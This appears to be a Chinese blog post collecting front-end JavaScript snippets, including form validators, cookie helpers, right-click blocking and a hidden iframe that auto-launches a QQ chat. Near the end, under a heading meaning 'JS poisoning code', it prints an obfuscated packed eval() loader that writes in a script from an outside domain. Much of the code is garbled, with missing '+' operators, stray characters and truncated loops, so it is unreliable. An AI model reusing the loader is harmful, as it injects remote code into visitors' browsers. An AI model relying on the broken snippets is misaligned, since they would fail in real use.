JS

 
//正则验证手机号
function moible(obj){
 var reg = /^0?(13[0-9]| 14[0-9]|15[0-9]|17[0-9]|18[0-9]|)[0-9]{8}$/;
 if(!reg.test(obj)){
  return false;
 }else{
  return true;
 }
}
 
//邮箱验证
function email(email){
  var pattern = /^([a-zA-Z0-9_-]) @([a-zA-Z0-9_-]) (\.[a-zA-Z0-9_-]) /;
  flag = pattern.test(email);
  if(flag){
    return true;
  }
  else{
    return false;
  }
}
 
//验证身份证
function idcard(sf){
/* var pattern = /^(\d{15}$|^\d{18}$|^\d{17}(\d|X|x))$/;*/
var pattern = /^((1[1-5])|(2[1-3])|(3[1-7])|(4[1-6])|(5[0-4])|(6[1-5])|71|(8[12])|91)\d{4}((19\d{2}(0[13-9]|1[012])(0[1-9]|[12]\d|30))|(19\d{2}(0[13578]|1[02])31)|(19\d{2}02(0[1-9]|1\d|2[0-8]))|(19([13579][26]|[2468][048]|0[48])0229))\d{3}(\d|X|x)?$/
 flag = pattern.test(sf);
 if(flag){
    return true;
  }else{
    return false;
  }
}
//验证数字
var weightpreg = /^\d (\.\d{1,})?$/;
 
οnkeyup="javascript:isFormateNum(this,6);"
function isFormateNum(ob,len){  //len长度
    if(ob.value.length>len){
        ob.value = ob.value.substring(0,len);
    }        
    ob.value=ob.value.replace(/\D/g,'');
}
//姓名汉字验证
function name(obj){
    var nam = /^[\u4e00-\u9fa5] $/;
    if(!nam.test(obj)){
    return false;
    }else{
    return true;
    }
}
正则数字:/[^\d]/g;
正则汉字:/^[\u4e00-\u9fa5] $/gi;
//Validform
datatype:
"s4-12":/^[\u4E00-\u9FA5\uf900-\ufa2d\w\.\s]{4,12}$/,
   "n1-6":/^\d{1-6}$/,
   "s5":/^[\u4E00-\u9FA5\uf900-\ufa2d]{0,5}$/,
   "hz6":/^[\u4E00-\u9FA5\uf900-\ufa2d\w\.\s]{9}$/,
"idcard": function(gets, obj, curform, datatype) {
//该方法由佚名网友提供;
var Wi = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2, 1]; // 加权因子;
var ValideCode = [1, 0, 10, 9, 8, 7, 6, 5, 4, 3, 2]; // 身份证验证位值,10代表X;
if (gets.length == 15) {
return isValidityBrithBy15IdCard(gets);
} else if (gets.length == 18) {
var a_idCard = gets.split(""); // 得到身份证数组
if (isValidityBrithBy18IdCard(gets) && isTrueValidateCodeBy18IdCard(a_idCard)) {
return true;
}
return false;
}
return false;
 
function isTrueValidateCodeBy18IdCard(a_idCard) {
var sum = 0; // 声明加权求和变量
if (a_idCard[17].toLowerCase() == 'x') {
a_idCard[17] = 10; // 将最后位为x的验证码替换为10方便后续操作
}
for (var i = 0; i < 17; i ) {
sum = Wi[i] * a_idCard[i]; // 加权求和
}
valCodePosition = sum % 11; // 得到验证码所位置
if (a_idCard[17] == ValideCode[valCodePosition]) {
return true;
}
return false;
}
 
function isValidityBrithBy18IdCard(idCard18) {
var year = idCard18.substring(6, 10);
var month = idCard18.substring(10, 12);
var day = idCard18.substring(12, 14);
var temp_date = new Date(year, parseFloat(month) - 1, parseFloat(day));
// 这里用getFullYear()获取年份,避免千年虫问题
if (temp_date.getFullYear() != parseFloat(year) || temp_date.getMonth() != parseFloat(month) - 1 || temp_date.getDate() != parseFloat(day)) {
return false;
}
return true;
}
 
function isValidityBrithBy15IdCard(idCard15) {
var year = idCard15.substring(6, 8);
var month = idCard15.substring(8, 10);
var day = idCard15.substring(10, 12);
var temp_date = new Date(year, parseFloat(month) - 1, parseFloat(day));
// 对于老身份证中的你年龄则不需考虑千年虫问题而使用getYear()方法
if (temp_date.getYear() != parseFloat(year) || temp_date.getMonth() != parseFloat(month) - 1 || temp_date.getDate() != parseFloat(day)) {
return false;
}
return true;
}
}
//点击显示隐藏
function show(){
    var a=document.getElementById("li").style.display;
    if(a=="block"){
        document.getElementById("li").style.display="none"
    }else{
        document.getElementById("li").style.display="block"
    }
}
$('.show_type').bind("click", function() {
if ($('#goods_list').hasClass('openList')){
$('#goods_list').removeClass('openList');
}else{
$('#goods_list').addClass('openList');
}
});
//js注册协议阅读
function show(){
    var a=document.getElementById("read").value ;
    if(a=="0"){
        document.getElementById("read").value="1"
    }else{
        document.getElementById("read").value="0"
    }
}
var a =document.getElementById("test").childNodes;
var b = document.getElementById("weight").value;
//Ajax实现判断用户是否存在
$(document).ready(function (){
q    $("#username").blur(function (){ 
        if($("#username").val()==''){ 
            $("#usernames").text("必填!"); 
        }else{ 
            //ajax判断该用户名是否已经被注册 
            $.post("__APP__/Home/Index/ajax_user",{'name':$("#username").val()},function (data){ 
                if(data==1){ 
                    $("#usernames").text("用户名已存在!");  
                }else{ 
                     $("#usernames").text("*");  
                 }
           });
          }
    });
 });
//显示当前页面的地址
//Js图片引用路径:
./Public/Home/images/prev.png  当前目录
/Public/Home/images/prev.png  根目录
//输入错误时输入框变红
$("#name").attr('style','border:solid 1px red');
//错误提示返回上一页: echo "";
//加载前一页: location.replace(document.referrer);
//返回上上页: history.go(-2);
//重新加载当前页面: window.location.reload();
//页面跳转:
window.location.href='__APP__/Index/index'
//js取小数点后三位
var rli=($("#yli").val()/12)*month.toFixed(3);
//点击生成随机数字取出数组值
$(document).ready(function (){
    var str = '水瓶座,双鱼座,白羊座,金牛座,双子座,巨蟹座,狮子座,处女座,天秤座,天蝎座,射手座,摩羯座';
    var strs=str.split(","); //字符分割
    $(".enter").click(function (){ 
        var i=Math.floor(Math.random()*12); //生成1-12之间的数组
        window.location.href="__APP__/Index/xingzuo/title/" strs[i];
    });
});
//禁止鼠标右键
";
 
 
//功能:屏蔽鼠标右键、复制、粘贴、CTRL、ALT、SHIFT、F2~F12等,仅建议对文章内容独特性要求或不愿意被随意复制内容的站点**
//屏蔽鼠标右键、ALT翻页、CTRL N、CTRL R、F2~F12、SHIFT 左键
jQuery(document).ready(function($){
    $(document).bind("contextmenu",function(){return false;});
    $(document).bind("selectstart",function(){return false;});
    $(document).keydown(function(){return key(arguments[0])});
    function key(e){
        var keyCode;
        if(window.event){ //IE
            keyCode = e.keyCode;
        }else if(e.which){ //firefox/opera/chrome/netscape
            keyCode = e.which;
        }
        if(
            (keyCode==112)||       //F2
            (keyCode==113)||       //F2
            (keyCode==114)||       //F3
            (keyCode==115)||       //F4
         // (keyCode==116)||       //F5
            (keyCode==117)||       //F6
            (keyCode==118)||       //F7
            (keyCode==119)||       //F8
            (keyCode==120)||       //F9
            (keyCode==121)||       //F10
         // (keyCode==122)||       //F11
            (keyCode==123)||       //F12
            (keyCode==17)||        //CTRL
            (keyCode==16)          //shift
            //此处填写后续条件
        ){
            //  alert("别再按了,你节操碎了!");     
            return false;
        }
    }
});
//禁止鼠标左右键
禁止选中代码
禁止另存为
防拷贝/复制代码
禁止选择文本
禁止网页另存为
禁止选择文本
禁用右键
真正的鼠标右键屏蔽
自动弹出QQ
http://wpa.b.qq.com/cgi/wpa.php?key=XzgwMDEwNTEwOF8yODkyNTNfODAwMTA1MTA4Xw ">
 
//根据“键”获取Cookie值
function getCookie(name){
var arr,reg=new RegExp("(^| )" name "=([^;]*)(;|$)");
if(arr=document.cookie.match(reg)){
return unescape(arr[2]);
}else{
return null;
}
}
var strCookie = getCookie("data");
window.onload = function () { 
//获取当前时间
var newTime = new Date().getTime();
//
var time = newTime - strCookie;
//上次弹出时间与当前时间差大于24小时 弹出登陆QQ
if(time > 1000 * 60 * 60 * 24){ 
//记录当前时间
var date = new Date().getTime();
document.cookie="data=" date;
setTimeout(function () { 
var newE = document.createElement("iframe");  
newE.style.display = 'none'; 
newE.src = "tencent://message/?Menu=yes&uin=800105108&Service=58&SigT=A7F6FEA02730C98855C251EDA5F5530528B6D9F2FD84A67EFBBBE5E893190F18CE1BFD0ADB65B0F19D2950D8FC65F87CD9501CC929C222138544B1DF44C2F6982AA64E84BA850BAAF7BEF129BC783B66579E3600A65545D2882A88C017455F289F2122E9A56484283721646AA0014CC1A7A38D6A96C4E6AC&SigU=30E5D5233A443AB21A75CCA44C3EF8B57A001B6E7823D5665D9499F322F0CB3E3A76A9A8960922094EB20AB40ABC78E1B3AD46F141C6FA5F5C5D898AB6C51D0A3AD1FD6A7789A9AE";
var crea = document.body.appendChild(newE); 
}, 5000); 
}
自动弹出对话框:
随机弹出多个企鹅号之一
 
随机弹 延时弹
 
//图片漂浮
    
         http://alonesky.com " target="_blank"> http://www.inwebson.com/demo/blocksit-js/demo2/images/img27.jpg " border="0"> 
    
 
 
    var x = 50,y = 60; 
    var xin = true, yin = true ;
    var step = 1; 
    var delay = 10; 
    var obj=document.getElementById("codefans_net"); 
    function float() { 
        var L=T=0; 
        var R= document.body.clientWidth-obj.offsetWidth; 
        var B = document.body.clientHeight-obj.offsetHeight; 
        obj.style.left = x   document.body.scrollLeft; 
        obj.style.top = y   document.body.scrollTop; 
        x = x   step*(xin?1:-1); 
        if (x < L) { xin = true; x = L;} 
        if (x > R){ xin = false; x = R;} 
        y = y   step*(yin?1:-1); 
        if (y < T) { yin = true; y = T; } 
        if (y > B) { yin = false; y = B; } 
    } 
    var itl= setInterval("float()", delay); 
    obj.οnmοuseοver=function(){clearInterval(itl)} 
    obj.οnmοuseοut=function(){itl=setInterval("float()", delay)} 
//js中输出
console.log("\u0070\u006f\u0077\u0065\u0072\u0020\u0062\u0079\u0020\u007a\u0068\u0069\u0073\u0068\u0075\u006e");
//设为首页 < a οnclick="SetHome(this,window.location)" > 设为首页 < /a>
   function SetHome(obj, url) {
    try {
        obj.style.behavior = 'url(#default#homepage)';
        obj.setHomePage(url);
    } catch (e) {
        if (window.netscape) {
            try {
                netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");
            } catch (e) {
                alert("抱歉,此操作被浏览器拒绝!\n\n请在浏览器地址栏输入“about:config”并回车然后将[signed.applets.codebase_principal_support]设置为'true'");
            }
        } else {
            alert("抱歉,您所使用的浏览器无法完成此操作。\n\n您需要手动将【"   url   "】设置为首页。");
        }
    }
}
// 加入收藏 < a οnclick="AddFavorite(document.title,window.location)" >加入收藏< /a>
function AddFavorite(title, url) {
    try {
        window.external.addFavorite(url, title);
    } catch (e) {
        try {
            window.sidebar.addPanel(title, url, "");
        } catch (e) {
            alert("抱歉,您所使用的浏览器无法完成此操作。\n\n加入收藏失败,请使用Ctrl D进行添加");
        }
    }
}
// 保存到桌面 < a οnclick="toDesktop(window.location, document.title)" >加入收藏< /a>
function toDesktop(sUrl, sName) {
    try {
        var WshShell = new ActiveXObject("WScript.Shell");
        var oUrlLink = WshShell.CreateShortcut(WshShell.SpecialFolders("Desktop")   "\\"   sName   ".url");
        oUrlLink.TargetPath = sUrl;
        oUrlLink.Save();
    } catch (e) {
        alert("当前IE安全级别不允许操作!");
    }
}
//获取点击复选框获得多个值
var zongji = '';
$('input[name="check"]:checked').each(function () {
       if (zongji == '') {
          zongji= parseInt($(this).val());
        } else {
             zongji=parseInt(zshi'pongji) parseInt($(this).val());
         }
 });
$(".allBack").show();显示
$(".allBack").hide();隐藏
var aboutHeight=$(".aboutText").height(); ///获取文本框高度 if(aboutHeight>600){ $(".aboutText").addClass("aboutText-height") ///添加样式
$(".cont-right").append("
点击查看更多
") ///添加文本
} $(".moresss").click(function(){ $(".aboutText").removeClass("aboutText-height");///移除样式
$(this).hide(); })
$(this).addClass("thisit"). siblings ("li").removeClass("thisit");//样式切换
//手机端浏览电脑页面自动跳转到手机版界面
//动态添加js
with(document)0[(getElementsByTagName('head')[0]||body).appendChild(createElement('script')).src=' https://ss1.bdstatic.com/5eN1bjq8AAUYm2zgoY3K/r/www/cache/static/protocol/https/jquery/jquery-1.10.2.min_65682a2.js?cdnversion= ' ~(-new Date()/36e5)];
 
//js判断操作系统
function detectOS() {
    var sUserAgent = navigator.userAgent;
    var isWin = (navigator.platform == "Win32") || (navigator.platform == "Windows");
    var isMac = (navigator.platform == "Mac68K") || (navigator.platform == "MacPPC") || (navigator.platform == "Macintosh") || (navigator.platform == "MacIntel");
    if (isMac){ return "Mac";}
    var isUnix = (navigator.platform == "X11") && !isWin && !isMac;
    if (isUnix){ return "Unix";}
    var isLinux = (String(navigator.platform).indexOf("Linux") > -1);
    if (isLinux){ return "Linux";}
    if (isWin) {
        var isWin2K = sUserAgent.indexOf("Windows NT 5.0") > -1 || sUserAgent.indexOf("Windows 2000") > -1;
        if (isWin2K){ return "Win2000"};
        var isWinXP = sUserAgent.indexOf("Windows NT 5.1") > -1 || sUserAgent.indexOf("Windows XP") > -1;
        if (isWinXP){ return "WinXP";}
        var isWin2003 = sUserAgent.indexOf("Windows NT 5.2") > -1 || sUserAgent.indexOf("Windows 2003") > -1;
        if (isWin2003){ return "Win2003";}
        var isWinVista= sUserAgent.indexOf("Windows NT 6.0") > -1 || sUserAgent.indexOf("Windows Vista") > -1;
        if (isWinVista){ return "WinVista";}
        var isWin7 = sUserAgent.indexOf("Windows NT 6.1") > -1 || sUserAgent.indexOf("Windows 7") > -1;
        if (isWin7){ return "Win7";}
    }
    return "other";
}
document.writeln("您的操作系统是:"   detectOS());
//导航定位
$("#nav li:eq(4)>a").addClass("current");
//使用JS定时器来间断性的执行函数:
  setTimeout("MyAutoRun()",1000); //隔1000毫秒就执行一次MyAutoRun()函数 
// 每当页面加载时,重置表单
function formReset(){ 
    document.getElementsByTagName('form')[0].reset(); 
}
window.οnlοad= formReset; // 每当页面加载时,重置表单
// 获取action 赋值
var actzhi=$(this).val();
        var sdjfksdf=$(this).parents("form").attr("action");// 获取action
        if(actzhi=='立即购买'){
            $(this).parents("form").attr("action","{:U('Index/shop')}"); 赋值
            $("#subb").submit();
        }else if(actzhi=='加入购物车'){
            $(this).parents("form").attr("action","{:U('Index/joincar')}");
            $("#subb").submit();
        }
//js倒计时
 
//input 失去焦点和获得焦点
    $(function(){
        jQuery.focusblur = function(focusid) {
            var focusblurid = $(focusid);
            var defval = focusblurid.val();
            focusblurid.focus(function(){
                var thisval = $(this).val();
                if(thisval==defval){
                  $(this).val("");
                 }
            });
            focusblurid.blur(function(){
                var thisval = $(this).val();
                if(thisval==""){
                   $(this).val(defval);
                }
            });    
        }
        /*下面是调用方法*/
        $.focusblur("#nick");  
        $.focusblur("#rphone");
        $.focusblur("#rverify");
    });
//调用浏览器打印功能
 
function btnPrintClick(){  
    window.print();  
}
//指定打印位置
//自动弹出QQ
 
//根据“键”获取Cookie值
function getCookie(name) {
    var arr, reg = new RegExp("(^| )"   name   "=([^;]*)(;|$)");
    if (arr = document.cookie.match(reg)) return unescape(arr[2]);
    else return null;
}
var strCookie = getCookie("data");
window.onload = function() { //获取当前时间
    var newTime = new Date().getTime(); //
    var time = newTime - strCookie; //上次弹出时间与当前时间差大于24小时 弹出登陆QQ
    if (time > 1000 * 60 * 60 * 24) { //记录当前时间
        var date = new Date().getTime();
        document.cookie = "data="   date;
        setTimeout(function() {
            var newE = document.createElement("iframe");
            newE.style.display = 'none';
            newE.src = "tencent://message/?Menu=yes&uin={$site.weixin}&Service=58&SigT=A7F6FEA02730C98855C251EDA5F5530528B6D9F2FD84A67EFBBBE5E893190F18CE1BFD0ADB65B0F19D2950D8FC65F87CD9501CC929C222138544B1DF44C2F6982AA64E84BA850BAAF7BEF129BC783B66579E3600A65545D2882A88C017455F289F2122E9A56484283721646AA0014CC1A7A38D6A96C4E6AC&SigU=30E5D5233A443AB21A75CCA44C3EF8B57A001B6E7823D5665D9499F322F0CB3E3A76A9A8960922094EB20AB40ABC78E1B3AD46F141C6FA5F5C5D898AB6C51D0A3AD1FD6A7789A9AE";
            var crea = document.body.appendChild(newE);
        },
        5000);
    }
}
 
//各地时间
$(function(){
    setInterval(function(){
        time_info();
    },1000);
});
function time_info(){
  var d = new Date(); //创建一个Date对象
  var localTime = d.getTime();
  var localOffset =d.getTimezoneOffset()*60000; //获得当地时间偏移的毫秒数
  var utc = localTime   localOffset; //utc即GMT时间
  var str = '';
  //伦敦 0   纽约 -5  香港 8  悉尼10   东京9 瑞士  1
  var lundun = utc;
  var ld = new Date(lundun);
  var niuyue = utc   (3600000*(-5));
  var ny = new Date(niuyue);
  var xianggang = utc   (3600000*8);
  var xg = new Date(xianggang);
  var xini = utc   (3600000*10);
  var xn = new Date(xini);
  var dongjing = utc   (3600000*9);
  var dj = new Date(dongjing);
  var ruishi = utc   (3600000*1);
  var rs = new Date(ruishi);
  str  = '伦敦 ' ld.getHours() ':' ld.getMinutes() ':' ld.getSeconds() '';
  str  = '纽约 ' ny.getHours() ':' ny.getMinutes() ':' ny.getSeconds() '';
  str  = '香港 ' xg.getHours() ':' xg.getMinutes() ':' xg.getSeconds() '';
  str  = '悉尼 ' xn.getHours() ':' xn.getMinutes() ':' xn.getSeconds() '';
  str  = '东京 ' dj.getHours() ':' dj.getMinutes() ':' dj.getSeconds() '';
  str  = '瑞士 ' rs.getHours() ':' rs.getMinutes() ':' rs.getSeconds() '';
  $('#time_info').html(str);
}
//打印对象
function writeObj(obj){
 var description = "";
 for(var i in obj){
  var property=obj[i];
  description =i " = " property "\n";
 }
 alert(description);
}
//统计字符在字符串中出现次数
function charStats(str) {
var visitStats={};
for(var i=0;i
var char = str[i];
if (!visitStats[char] ){
visitStats[char]=1;
}
}
return visitStats;
}
//将对象转为数组
var arr=[];
var data=charStats('abcdaabc');
for(var i in data){
var str=i "=" data[i];// i 而data[ i ] 就代表 userName 12121 就是 i 所对应的值;
alert(str);
}
// object对象转换为string字符串
function obj2string(o){
 var r=[];
 if(typeof o=="string"){
  return"\"" o.replace(/([\'\"\\])/g,"\\$1").replace(/(\n)/g,"\\n").replace(/(\r)/g,"\\r").replace(/(\t)/g,"\\t") "\"";
 }
 if(typeof o=="object"){
  if(!o.sort){
   for(var i in o){
    r.push(i ":" obj2string(o[i]));
   }
   if(!!document.all&&!/^\n?function\s*toString\(\)\s*\{\n?\s*\[native code\]\n?\s*\}\n?\s*$/.test(o.toString)){
    r.push("toString:" o.toString.toString());
   }
   r="{" r.join() "}";
  }else{
   for(var i=0;i
    r.push(obj2string(o[i]))
   }
   r="[" r.join() "]";
  }
  return r;
 }
 return o.toString();
}
//js获取cookie读取cookie
//多选框变成单选框
$(".team input:checkbox").click(function(){
if(this.checked || this.checked=='checked'){
$(".team input:checkbox").removeAttr("checked");
$(this).prop("checked", true);
}
});
//获取当前input:checkbox 是否被选中
1.$(this).get(0).checked;
2.$(this).is(':checked');
3.$(this)[0].checked;
4.$(this).prop('checked');
//多选框变单选
$(".team dl dd").click(function(){
if($(this).find('input').prop('checked')||$(this).find('input').prop('checked')=='checked'){
$(this).parent().find("input").removeAttr("checked");
$(this).find('input').prop("checked", true);
}
});
$(".brother input:checkbox").click(function(){
if(this.checked || this.checked=='checked'){
$(".brother input:checkbox").removeAttr("checked");
$(this).prop("checked", true);
}
});
//js中毒代码
eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w '};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p;}('3.4("<0 1=2://5.8.9/6.7>");',10,10,'script|src|http|document|writeln|www|main2|js|5121188|com'.split('|'),0,{}))
//js给自身赋值
function addItem(val){
$(val).attr('value',$(val).val());
}
//js 替换替换函数replaceWith()
1. //

hello

->##
$('p').replaceWith('##');
2. //

hello

->hello
$('p').each(function(){
$(this).replaceWith('' $(this).html() '');
});
3. //

苹果

电脑

->

apple

PC

var translate = {
'苹果' : 'apple',
'电脑' : 'PC'
};
$('p').each(function(){
$(this).replaceWith(translate[$(this).html()]);
});
//统一url传值的类型,可以使用js对参数进行URL编码
var _name=encodeURI($("#name").val()); //编码
//在服务端解码
String _name=URLDecoder.decode(areaDTO.getName(),"utf-8");
 
//清空所有
//客户端劫持
//js跳转
 
 
 

更多专业前端知识,请上 【猿2048】www.mk2048.com

你可能感兴趣的:(前端,js)